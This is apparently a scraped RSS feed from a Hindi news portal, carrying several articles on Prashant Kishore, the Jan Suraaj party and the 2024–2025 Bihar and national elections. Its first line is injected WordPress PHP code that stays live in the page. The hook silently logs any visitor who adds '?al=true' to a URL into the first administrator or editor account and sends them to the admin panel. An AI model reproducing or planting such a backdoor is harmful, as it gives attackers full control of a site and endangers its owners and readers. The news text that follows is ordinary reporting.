// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Prashant Kishore – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 24 Oct 2025 13:10:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 जन सुराज को करारा झटका: प्रशांत किशोर के उम्मीदवार ने नामांकन वापस लिया, सियासी गलियारों में हलचल https://pratyushaashakinayikiran.com/?p=187005 Fri, 24 Oct 2025 13:10:00 +0000 https://pratyushaashakinayikiran.com/?p=187005 पटना

बिहार विधानसभा चुनाव 2025 की हलचल के बीच सीतामढ़ी सीट  से बड़ी खबर सामने आई है। दरअसल, जन सुराज पार्टी के उम्मीदवार मोहम्मद ज्याउद्दीन खान  ने नामांकन वापस ले लिया है। यह फैसला जन सुराज के लिए एक बड़ा झटका माना जा रहा है। इस कदम ने जिले की राजनीति में भूचाल ला दिया है।

नामांकन वापसी के बाद ज्याउद्दीन ने फेसबुक पर अपने समर्थकों को संबोधित करते हुए कहा कि समाज के हितों को देखते हुए और अपने शुभचिंतकों की परेशानियों को समझते हुए, उन्होंने अपनी दूसरी बार कुर्बानी दी है। ज्याउद्दीन के इस फैसले के बाद वहीं राजनीतिक गलियारों में चर्चाओं का बाजार गर्म हो गया है। अटकलें लगााई जा रही हैं कि पार्टी के भीतर किसी आंतरिक कलह का ही यह नतीजा है या फिर किसी अन्य दल के दबाव में यह फैसला लिया गया है.

मोहम्मद ज्याउद्दीन खान को क्षेत्र में एक मजबूत और लोकप्रिय उम्मीदवार के रूप में देखा जा रहा था। उनके मैदान से हटने के बाद पार्टी की रणनीति पर सवाल खड़े हो गए हैं। साथ ही सीतामढ़ी विधानसभा सीट पर मुकाबला अब सीधे NDA और महागठबंधन के बीच सिमट गया है। पहले जहां मुकाबला त्रिकोणीय माना जा रहा था, वहीं अब जन सुराज समर्थक वोट दो प्रमुख गठबंधनों में बंटने की संभावना है। इससे किसी एक बड़े गठबंधन को सीधा फायदा मिल सकता है।

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लालू, नीतीश ने लोगों को जाति के आधार पर बांटकर राज किया : प्रशांत किशोर https://pratyushaashakinayikiran.com/?p=92039 Wed, 30 Oct 2024 22:15:00 +0000 https://pratyushaashakinayikiran.com/?p=92039 भभुआ
बिहार में चार विधानसभा सीटों पर हो रहे उपचुनाव को लेकर प्रचार अभियान रफ्तार पकड़ता जा रहा है। जन सुराज पार्टी के स्टार प्रचारक प्रशांत किशोर ने बुधवार को रामगढ़ विधानसभा के विभिन्न क्षेत्रों में जनसभा को संबोधित करते हुए कहा कि राजद अध्यक्ष लालू प्रसाद यादव और नीतीश कुमार ने लोगों को जाति के आधार पर बांटकर राज किया। प्रशांत किशोर दुर्गावती, रामगढ़, नुआंव और मोहनियां प्रखंड की कल्याणपुर, अकोल्ही, सदुल्लहपुर डरवन, देवकली, अकोढ़ी पंचायत पहुंचे और जन सुराज के प्रत्याशी सुशील सिंह कुशवाहा के समर्थन में जनसभा को संबोधित किया।

प्रशांत किशोर ने रामगढ़ की जनता को कहा कि आपका भाजपा को दिया गया हर वोट मुख्यमंत्री नीतीश कुमार की ताकत बढ़ाएगा। नीतीश कुमार जिन्होंने जमीन का सर्वे करवाया और घर-घर में विवाद करवाए, जब हमने विरोध किया तो कुछ समय के लिए रोक दिया गया। लेकिन, वे दोबारा सर्वे करवाएंगे और जब आपके कागजों पर एक भी भाई-बहन हस्ताक्षर नहीं करेगा तो उस जमीन पर आपका मालिकाना हक खत्म हो जाएगा।

उन्होंने कहा कि स्मार्ट मीटर लगने के बाद बिजली के बिल में भारी बढ़ोतरी हुई है और इस बढ़ोतरी के कारण गरीब परिवार अपना बिल नहीं भर पा रहे। लालू यादव और नीतीश कुमार ने पिछले 35 सालों में बिहार को जाति के आधार पर बांटकर राज किया।

प्रशांत किशोर ने जन सुराज पार्टी के तीन बड़े संकल्पों के बारे में जनता को बताते हुए कहा कि 2025 में जब जन सुराज की व्यवस्था आएगी तो 60 साल से ज्यादा उम्र के प्रत्येक लोगों को हर महीने 2,000 रुपये पेंशन मिलेगी। उन्होंने महंगाई के इस दौर में सिर्फ 400 रुपये पेंशन देने को लेकर नीतीश सरकार पर हमला बोला। उन्होंने कहा कि 2025 छठ के बाद बिहार के युवाओं के लिए बिहार में ही रोजगार की व्यवस्था की जाएगी।

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जनसुराज पार्टी ने उपचुनाव के लिए अपने स्टार प्रचारकों की जो लिस्ट जारी की https://pratyushaashakinayikiran.com/?p=89024 Thu, 24 Oct 2024 11:56:00 +0000 https://pratyushaashakinayikiran.com/?p=89024 पटना

बिहार की चार सीटों पर होने वाले उपचुनाव के लिए प्रशांत किशोर ने अपने उम्मीदवार उतार दिए हैं. हालांकि इस दौरान उन्हें काफी माथापच्ची करनी पड़ी. कहीं प्रत्याशी का नाम बिहार की वोटर लिस्ट में नहीं था तो किसी प्रत्याशी ने फंड की कमी का हवाला देते हुए चुनाव लड़ने से मना कर दिया. फाइनली उन्होंने चारों उम्मीदवारों का ऐलान कर दिया और अब जनसुराज पार्टी की ओर से स्टार प्रचारकों की लिस्ट भी जारी कर दी गई है. इस लिस्ट में भी चुनावी रणनीतिकार रहे प्रशांत किशोर ने नई स्ट्रैटजी बनाई है.  

जनसुराज ने चार सीटों पर होने वाले उपचुनाव में प्रचार करने के लिए 20 स्टार प्रचारक बनाए हैं. इस लिस्ट में हर वर्ग के नेता को जगह दी गई है ताकि हर वर्ग और समाज के बीच जाकर वोटरों को आकर्षित किया जा सके. इसके अलावा जो सबसे खास बात है, वो इसमें जनसुराज के संयोजक प्रशांत किशोर का नाम सबसे आखिरी में है. पहले नंबर पर जनसुराज के कार्यकारी अध्यक्ष मनोज कुमार भारती का नाम है, जबकि दूसरे नंबर पर श्रीकृष्ण सिंह (SK Singh) का नाम है, जिनका वोटर लिस्ट में नाम नहीं होने की वजह से तरारी में पार्टी को उम्मीदवार बदलना पड़ा. स्टार प्रचारकों की लिस्ट में पूर्व केंद्रीय मंत्री देवेंद्र प्रसाद यादव, सीतामढ़ी के पूर्व सांसद सीताराम यादव का नाम भी शामिल है.

इसके अलावा एजाज अली, दुर्गा प्रसाद सिंह, मुनाजिर हसन, यदुवंश गिरी, बसंत चौधरी, केसी सिन्हा, संतोष महतो, विनीता विजय, रामबली चंद्रवंशी, आनंद मिश्रा, सकल देव साहनी, वसीम नय्यर अंसारी, अनुराधा यादव, आजम हुसैन अनवर, सुनील कुमार सिंह उर्फ छैला बिहारी का नाम भी शामिल है.

बिहार की इन चार सीटों पर होना है उपचुनाव   

बिहार की जिन सीटों पर उपचुनाव होने हैं, भोजपुर की तरारी सीट के अलावा कैमूर जिले की रामगढ़ सीट, गया की बेलागंज और इमामगंज सीटें शामिल हैं. इन चारों सीटों पर 13 नवंबर को वोटिंग होगी और इनके नतीजे महाराष्ट्र-झारखंड चुनाव के नतीजों के साथ ही घोषित किए जाएंगे.   

क्यों खाली हुई थीं ये सीटें?   

बिहार की जिन सीटों पर उपचुनाव होने हैं, उनके सभी विधायक लोकसभा चुनाव में सांसद चुन लिए गए हैं. तरारी से विधायक सुदामा प्रसाद आरा से, रामगढ़ से विधायक सुधाकर सिंह बक्सर से, इमामगंज से विधायक जीतनराम मांझी गया से और बेलागंज से विधायक सुरेंद्र यादव जहानाबाद से सांसद चुने गए हैं. अगर देखा जाए तो इस बार के उपचुनाव में सबसे ज्यादा महागठबंधन की साख दांव पर है क्योंकि चार में से तीन सीटों पर उसी के विधायक थे, जबकि गया की इमामगंज सीट पर एनडीए का विधायक था. उपचुनाव में महागठबंधन की ओर से 3 सीट पर आरजेडी तो एक पर भाकपा (माले) चुनाव लड़ेगी. वहीं, एनडीए से बीजेपी 2, जेडीयू और हम 1-1 सीट पर चुनाव लड़ सकती हैं.  

 

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PK ने बता दिया MP में कितनी सीटें जीत रही है BJP, केंद्र में किसकी बनेगी सरकार! https://pratyushaashakinayikiran.com/?p=33416 Thu, 23 May 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=33416 भोपाल

 मध्य प्रदेश में लोकसभा की 29 सीटों पर मतदान हो चुका है और अब चुनाव नतीजों का बेसब्री से इंतजार है. वहीं देश भर में लोकसभा चुनाव के पांच चरण के मतदान हो चुके हैं. छठे चरण के चुनाव 25 मई और सातवें और आखिरी चरण का चुनाव 1 जून को होगा. 4 जून को नतीजे आने हैं. बीजेपी इस बार के चुनाव को लेकर कह चुकी है कि वे 400 पार सीटें हासिल करेगी. वहीं विपक्ष इंडिया ब्लॉक का कहना है कि 4 जून को उनकी सरकार बनने वाली है.

 
प्रशांत किशोर का कहना है कि बीजेपी फिर एक बार सरकार बनाने जा रही है. उन्होंने कहा कि भाजपा सरकार को लेकर न तो कोई खास असंतोष है और न ही किसी अन्य विकल्प की कोई मांग हो रही है.

मध्य प्रदेश में बीजेपी को कितना नुकसान?

प्रशांत किशोर ने बताया कि बीजेपी को उत्तर भारत में यूपी, एमपी और राजस्थान में कोई ज्यादा नुकसान नहीं होने वाला है. ऐसे में बीजेपी को 300 सीटें आसानी से मिलती हुई दिखाई दे रही हैं. यहां बता दें कि मध्य प्रदेश में 29 सीटें हैं, जिसमें बीजेपी का 28 सीटों पर कब्जा है. वहीं एकमात्र सीट छिंदवाड़ा पर कांग्रेस का कब्जा है. लेकिन इस बार छिंदवाड़ा के साथ -साथ राजगढ़, रतलाम-झाबुआ और मंडला लोकसभा सीटों पर कड़ा मुकाबला है.

बीजेपी को मिलेंगी 300 सीटें- प्रशांत किशोर

 प्रशांत किशोर ने कहा कि बीजेपी के लिए अपने दम पर 370 सीटें हासिल करना असंभव है और पार्टी को लगभग 300 सीटें मिलेंगी.पीएम मोदी ने जब कहा था कि बीजेपी को 370 सीटें मिलेंगी और एनडीए 400 का आंकड़ा पार करेगा, मैंने कहा कि यह संभव नहीं है. यह सब कार्यकर्ताओं का मनोबल बढ़ाने के लिए किया जा रहा है. बीजेपी के लिए 370 सीटें पाना नामुमकिन है, लेकिन ये भी तय है कि पार्टी 270 के आंकड़े को पार करेगी. प्रशांत किशोर ने कहा, 'मुझे लगता है कि बीजेपी पिछले लोकसभा चुनाव में जितनी संख्या हासिल कर पाई थी, यानी 303 सीटें या शायद उससे थोड़ी बेहतर, उतनी ही सीटें हासिल करने में कामयाब होगी.'

पीके ने ऐसे समझाया उत्तर-दक्षिण और पूर्व-पश्चिम का गणित

प्रशांत किशोर ने दावा किया कि बीजेपी को उत्तर और पश्चिम क्षेत्रों में कोई बड़ा नुकसान नहीं हो रहा है, जबकि दक्षिण और पूर्व में उसकी सीटों में बढ़ोतरी देखी जाएगी. उन्होंने बताया कि 'देखिए कि 2019 के चुनाव में बीजेपी ने अपनी 303 सीटें कहां से हासिल कीं. उन 303 सीटों में से लगभग 250 सीटें उत्तर और पश्चिम क्षेत्र से आईं. मुख्य सवाल ये है कि क्या बीजेपी को इस बार सीटें हासिल करने वाले क्षेत्रों में नुकसान झेलना पड़ रहा है.

पूर्व और दक्षिण में बीजेपी के पास फिलहाल लोकसभा की करीब 50 सीटें हैं. इन क्षेत्रों में बीजेपी के वोट शेयर में काफी बढ़ोतरी मानी जा रही है. इसलिए पूर्व और दक्षिण में बीजेपी की सीट हिस्सेदारी 15-20 सीटों तक बढ़ने की उम्मीद है, जबकि उत्तर और पश्चिम में कोई महत्वपूर्ण नुकसान नहीं होगा'

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PK बोले- ज्यादा सीटें जीतकर भी ये चुनाव नहीं होंगे मोदी की ‘बेस्ट इनिंग’! समझाया कैसे https://pratyushaashakinayikiran.com/?p=33291 Wed, 22 May 2024 21:06:00 +0000 https://pratyushaashakinayikiran.com/?p=33291 नईदिल्ली

लोकसभा चुनाव में भारतीय जनता पार्टी (बीजेपी) 400 से अधिक सीटें जीतने का लक्ष्य लेकर उतरी है. पार्टी के नेता अकेले दम 370 सीटें जीतने के दावे कर रहे हैं. बीजेपी के दावे और टारगेट को लेकर चुनाव रणनीतिकार से राजनेता बने प्रशांत किशोर (पीके) ने  खास बातचीत में कहा है कि बीजेपी का नंबर पिछली लोकसभा में 303 था. इस बार भी पार्टी का नंबर वही या उससे कुछ बेहतर होगा, उससे खराब नहीं होगा. ऐसा मुझे लगता है.

उन्होंने कहा कि एनडीए की कितनी सीटें आएंगी, ये आकलन बेमानी है. जीतने के बाद कौन कहां जाएगा, कहा नहीं जा सकता लेकिन बीजेपी 270 से नीचे भी नहीं जा रही है. पीके ने आगे जोड़ा कि प्रधानमंत्री ने जनवरी में पहली बार कहा था कि हमें 370 और एनडीए की 400, मैं तब से कह रहा हूं कि बीजेपी की 370 सीटें तो आ ही नहीं सकतीं. यह अपने कार्यकर्ताओं के लिए है. उन्होंने ये भी कहा कि बडे फैसले लेने की बात प्रधानमंत्री ने जब ये चुनाव शुरू हुआ था, उससे पहले कहा था और इसमें कहीं कोई दो मत नहीं है. जब तीसरी बार पीएम मोदी आएंगे तो कुछ बडे फैसले लेते दिखेंगे लेकिन जो पूरा कैंपेन चला है, उसमें एक ही चीज देखता हूं कि तीसरे टर्म में वह इतने ताकतवर नहीं होंगे जितने दूसरे टर्म में थे. नंबर भले ज्यादा आ जाएगा.

पीके ने कहा कि  ज्यादा सीटें लाकर भी ये चुनाव मोदीजी की बेस्ट इनिंग नहीं होंगे. उन्होंने इसे क्रिकेट के उदाहरण से समझाते हुए कहा कि कहा कि मान लीजिए विराट कोहली ने बिल्कुल फ्लॉलेस 101 रन बनाए. किसी दूसरी इनिंग में विराट कोहली ने 140 रन बनाए लेकिन उस दौरान उनके छह कैच ड्रॉप हुए. रिकॉर्ड पर तो दोनों ही सेंचुरी लिखी जाएगी लेकिन आप किसे बेहतर मानेंगे? पीके ने कहा कि जब इतिहास लिखा जाएगा तब रिकॉर्ड बुक में यह भी लिखा जाएगा कि कैच नहीं छूटे होते तो शायद…और अगर आप विराट कोहली से भी पूछेंगे कि दोनों में से बेहतर इनिंग कौन सी थी? तो वो भी 101 वाली इनिंग को ही बेहतर बताएंगे.

उन्होंने कहा कि इसीलिए कह रहा हूं कि 2014 की जीत मोदीजी की फ्लॉलेस विक्ट्री थी, उम्मीद की विक्ट्री थी. लोगों को लगता था कि वह (नरेंद्र मोदी) आएंगे और देश बदल जाएगा. पीके ने कहा कि 2019 की विक्ट्री विश्वास की विक्ट्री थी. 2019 में मोदी के प्रति विश्वास का वोट था कि हमें इन पर भरोसा है, इन चीजों की उन्होंने शुरुआत की है और हर क्षेत्र में अच्छा होगा. उन्होंने कहा कि 2024 में अल्टरनेटिव नहीं होने की विक्ट्री है. 2024 में उनके सामने कोई बेहतर विकल्प, बेहतर चैलेंजर नहीं आया. इससे इनकार नहीं कर रहा कि वो जीत के आएंगे, सरकार बनाएंगे और सरकार चलाएंगे लेकिन मोदीजी के लिए जो अंधभक्ति थी, जो भरोसा था, जो पब्लिक सपोर्ट था जो एक लीडर की ताकत होती है, उसकी इंटेंसिटी में कमी आई है.

 

पीके ने कहा कि इसीलिए दिख रहा है कि जमीन पर मोदीजी के नाम की लहर नहीं है. एनालिटिकल टूल्स, डेटा और इंटरव्यू की टीआरपी… अगर सभी को मिलाकर देखेंगे तो इंटेंसिटी में कमी आई है. उन्होंने मोदी सरकार 3.0 की चुनौतियों की चर्चा करते हुए कहा कि ग्रामीण असंतोष देश में धीरे-धीरे बहुत बडा मुद्दा बनता जा रहा है. दूसरा जो बढ़ती असमानता है, वो सिटिंग टाइम बम है और तीसरा जो बेरोजगारी है. ये तीनों चीजें किसी भी सरकार के लिए बड़ी चुनौती बन जाएंगी.

 

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